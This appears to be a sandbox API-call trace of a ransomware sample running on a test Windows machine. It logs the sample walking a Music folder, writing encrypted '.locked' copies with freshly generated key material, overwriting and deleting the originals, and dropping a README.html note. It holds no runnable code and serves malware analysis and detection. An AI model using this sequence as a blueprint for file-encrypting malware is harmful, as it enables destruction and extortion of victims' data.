	[0076.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dOTEpDsxVXbKTz9_o.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dotepdsxvxbktz9_o.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.457] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0076.458] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0076.458] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8220 | out: pbBuffer=0x127a8220) returned 1
	[0076.458] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.458] WriteFile (in: hFile=0xc4, lpBuffer=0x123e7000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e7000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0076.460] SetEvent (hEvent=0x8c) returned 1
	[0076.460] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x3e87, lpOverlapped=0x0) returned 1
	[0076.462] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x3e87, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x3e87, lpOverlapped=0x0) returned 1
	[0076.462] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0076.462] CloseHandle (hObject=0xc4) returned 1
	[0076.463] CloseHandle (hObject=0xc0) returned 1
	[0076.463] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0076.507] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.507] SetEvent (hEvent=0x8c) returned 1
	[0076.507] SetEvent (hEvent=0x78) returned 1
	[0076.507] SetEvent (hEvent=0xb4) returned 1
	[0076.507] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.507] SetEvent (hEvent=0xa8) returned 1
	[0076.507] SetEvent (hEvent=0xb4) returned 1
	[0076.508] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x57) returned 1
	[0076.509] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dOTEpDsxVXbKTz9_o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dotepdsxvxbktz9_o.mp3")) returned 1
	[0076.526] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.526] SetEvent (hEvent=0xa8) returned 1
	[0076.526] SetEvent (hEvent=0x78) returned 1
	[0076.531] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.531] SetEvent (hEvent=0x78) returned 1
	[0076.531] SetEvent (hEvent=0xb4) returned 1
	[0076.531] SetEvent (hEvent=0x8c) returned 1
	[0076.531] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.531] SetEvent (hEvent=0x8c) returned 1
	[0076.533] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.533] SetEvent (hEvent=0x8c) returned 1
	[0076.533] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.534] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.534] SetEvent (hEvent=0x8c) returned 1
	[0076.534] SetEvent (hEvent=0xb4) returned 1
	[0076.534] SetEvent (hEvent=0x78) returned 1
	[0076.534] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.534] SetEvent (hEvent=0x78) returned 1
	[0076.534] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dOTEpDsxVXbKTz9_o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dotepdsxvxbktz9_o.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.535] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0076.535] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.551] CloseHandle (hObject=0xc0) returned 1
	[0076.559] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dOTEpDsxVXbKTz9_o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dotepdsxvxbktz9_o.mp3")) returned 1
	[0076.567] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa63c30, ftCreationTime.dwHighDateTime=0x1d4cef8, ftLastAccessTime.dwLowDateTime=0x2b53b8a0, ftLastAccessTime.dwHighDateTime=0x1d4c9ce, ftLastWriteTime.dwLowDateTime=0x2b53b8a0, ftLastWriteTime.dwHighDateTime=0x1d4c9ce, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0076.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.568] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa63c30, ftCreationTime.dwHighDateTime=0x1d4cef8, ftLastAccessTime.dwLowDateTime=0x2b53b8a0, ftLastAccessTime.dwHighDateTime=0x1d4c9ce, ftLastWriteTime.dwLowDateTime=0x2b53b8a0, ftLastWriteTime.dwHighDateTime=0x1d4c9ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa63c30, ftCreationTime.dwHighDateTime=0x1d4cef8, ftLastAccessTime.dwLowDateTime=0x2b53b8a0, ftLastAccessTime.dwHighDateTime=0x1d4c9ce, ftLastWriteTime.dwLowDateTime=0x2b53b8a0, ftLastWriteTime.dwHighDateTime=0x1d4c9ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87aabb60, ftCreationTime.dwHighDateTime=0x1d4ca98, ftLastAccessTime.dwLowDateTime=0xd40f4050, ftLastAccessTime.dwHighDateTime=0x1d4c946, ftLastWriteTime.dwLowDateTime=0xd40f4050, ftLastWriteTime.dwHighDateTime=0x1d4c946, nFileSizeHigh=0x0, nFileSizeLow=0xb7ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="56jXG_rUP2Pu7xpB-7.wav", cAlternateFileName="56JXG_~1.WAV")) returned 1
	[0076.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19dfe40, ftCreationTime.dwHighDateTime=0x1d4c7fe, ftLastAccessTime.dwLowDateTime=0xdc5aa9a0, ftLastAccessTime.dwHighDateTime=0x1d4c74f, ftLastWriteTime.dwLowDateTime=0xdc5aa9a0, ftLastWriteTime.dwHighDateTime=0x1d4c74f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gLDnq5k8FqlCxMD", cAlternateFileName="GLDNQ5~1")) returned 1
	[0076.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e5d490, ftCreationTime.dwHighDateTime=0x1d4cf6e, ftLastAccessTime.dwLowDateTime=0xf6e93250, ftLastAccessTime.dwHighDateTime=0x1d4d14a, ftLastWriteTime.dwLowDateTime=0xf6e93250, ftLastWriteTime.dwHighDateTime=0x1d4d14a, nFileSizeHigh=0x0, nFileSizeLow=0x126c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JhyKkJx_QpfYC.mp3", cAlternateFileName="JHYKKJ~1.MP3")) returned 1
	[0076.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b2db00, ftCreationTime.dwHighDateTime=0x1d4d352, ftLastAccessTime.dwLowDateTime=0xb0b62110, ftLastAccessTime.dwHighDateTime=0x1d4d089, ftLastWriteTime.dwLowDateTime=0xb0b62110, ftLastWriteTime.dwHighDateTime=0x1d4d089, nFileSizeHigh=0x0, nFileSizeLow=0x9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="QIy9IyIY-0h7uwPYNL0R.wav", cAlternateFileName="QIY9IY~1.WAV")) returned 1
	[0076.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.568] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.568] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec68 | out: lpMode=0x127eec68) returned 0
	[0076.569] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eec58, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eec58*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.570] CloseHandle (hObject=0xc0) returned 1
	[0076.570] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x127ee7e8, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee7e8*=0x5d) returned 1
	[0076.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\56jXG_rUP2Pu7xpB-7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\56jxg_rup2pu7xpb-7.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87aabb60, ftCreationTime.dwHighDateTime=0x1d4ca98, ftLastAccessTime.dwLowDateTime=0xd40f4050, ftLastAccessTime.dwHighDateTime=0x1d4c946, ftLastWriteTime.dwLowDateTime=0xd40f4050, ftLastWriteTime.dwHighDateTime=0x1d4c946, nFileSizeHigh=0x0, nFileSizeLow=0xb7ee)) returned 1
	[0076.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\56jXG_rUP2Pu7xpB-7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\56jxg_rup2pu7xpb-7.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.572] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0076.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\56jXG_rUP2Pu7xpB-7.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\56jxg_rup2pu7xpb-7.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.572] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0076.572] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0076.572] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8280 | out: pbBuffer=0x127a8280) returned 1
	[0076.572] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.573] WriteFile (in: hFile=0xc4, lpBuffer=0x12693000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x12693000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0076.575] SetEvent (hEvent=0xb4) returned 1
	[0076.575] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0xb7ee, lpOverlapped=0x0) returned 1
	[0076.576] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xb7ee, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0xb7ee, lpOverlapped=0x0) returned 1
	[0076.577] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0076.577] CloseHandle (hObject=0xc4) returned 1
	[0076.580] CloseHandle (hObject=0xc0) returned 1
	[0076.580] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0076.580] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.580] SetEvent (hEvent=0xb4) returned 1
	[0076.580] SetEvent (hEvent=0x78) returned 1
	[0076.580] SetEvent (hEvent=0x8c) returned 1
	[0076.580] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.581] SetEvent (hEvent=0x8c) returned 1
	[0076.581] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x5e, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee774*=0x5e) returned 1
	[0076.582] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\56jXG_rUP2Pu7xpB-7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\56jxg_rup2pu7xpb-7.wav")) returned 1
	[0076.600] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.601] SetEvent (hEvent=0xa8) returned 1
	[0076.601] SetEvent (hEvent=0x78) returned 1
	[0076.605] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.606] SetEvent (hEvent=0x78) returned 1
	[0076.606] SetEvent (hEvent=0x8c) returned 1
	[0076.606] SetEvent (hEvent=0xb4) returned 1
	[0076.606] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.606] SetEvent (hEvent=0xb4) returned 1
	[0076.608] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.608] SetEvent (hEvent=0xb4) returned 1
	[0076.608] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.609] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.609] SetEvent (hEvent=0xb4) returned 1
	[0076.609] SetEvent (hEvent=0x8c) returned 1
	[0076.609] SetEvent (hEvent=0x78) returned 1
	[0076.609] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.609] SetEvent (hEvent=0x78) returned 1
	[0076.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\56jXG_rUP2Pu7xpB-7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\56jxg_rup2pu7xpb-7.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.610] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0076.610] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.626] CloseHandle (hObject=0xc0) returned 1
	[0076.634] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\56jXG_rUP2Pu7xpB-7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\56jxg_rup2pu7xpb-7.wav")) returned 1
	[0076.642] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\JhyKkJx_QpfYC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\jhykkjx_qpfyc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e5d490, ftCreationTime.dwHighDateTime=0x1d4cf6e, ftLastAccessTime.dwLowDateTime=0xf6e93250, ftLastAccessTime.dwHighDateTime=0x1d4d14a, ftLastWriteTime.dwLowDateTime=0xf6e93250, ftLastWriteTime.dwHighDateTime=0x1d4d14a, nFileSizeHigh=0x0, nFileSizeLow=0x126c4)) returned 1
	[0076.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\JhyKkJx_QpfYC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\jhykkjx_qpfyc.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.643] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0076.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\JhyKkJx_QpfYC.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\jhykkjx_qpfyc.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.643] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0076.644] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0076.644] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0076.644] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.644] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0076.646] SetEvent (hEvent=0x8c) returned 1
	[0076.646] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x126c4, lpOverlapped=0x0) returned 1
	[0076.648] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x126c4, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0x126c4, lpOverlapped=0x0) returned 1
	[0076.650] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0076.650] CloseHandle (hObject=0xc4) returned 1
	[0076.652] CloseHandle (hObject=0xc0) returned 1
	[0076.652] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ec000*, nNumberOfCharsToWrite=0x59, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x123ec000*, lpNumberOfCharsWritten=0x127ee774*=0x59) returned 1
	[0076.654] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.655] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\JhyKkJx_QpfYC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\jhykkjx_qpfyc.mp3")) returned 1
	[0076.660] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.660] SetEvent (hEvent=0xa8) returned 1
	[0076.660] SetEvent (hEvent=0x8c) returned 1
	[0076.661] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.662] SetEvent (hEvent=0x8c) returned 1
	[0076.662] SetEvent (hEvent=0x80) returned 1
	[0076.662] SetEvent (hEvent=0xb4) returned 1
	[0076.662] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.662] SetEvent (hEvent=0xb4) returned 1
	[0076.679] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.679] SetEvent (hEvent=0xa8) returned 1
	[0076.679] SetEvent (hEvent=0xb4) returned 1
	[0076.681] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.681] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.681] SetEvent (hEvent=0xb4) returned 1
	[0076.682] SetEvent (hEvent=0x80) returned 1
	[0076.682] SetEvent (hEvent=0x8c) returned 1
	[0076.682] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.682] SetEvent (hEvent=0x8c) returned 1
	[0076.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\JhyKkJx_QpfYC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\jhykkjx_qpfyc.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.683] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0076.683] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.699] CloseHandle (hObject=0xc0) returned 1
	[0076.707] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\JhyKkJx_QpfYC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\jhykkjx_qpfyc.mp3")) returned 1
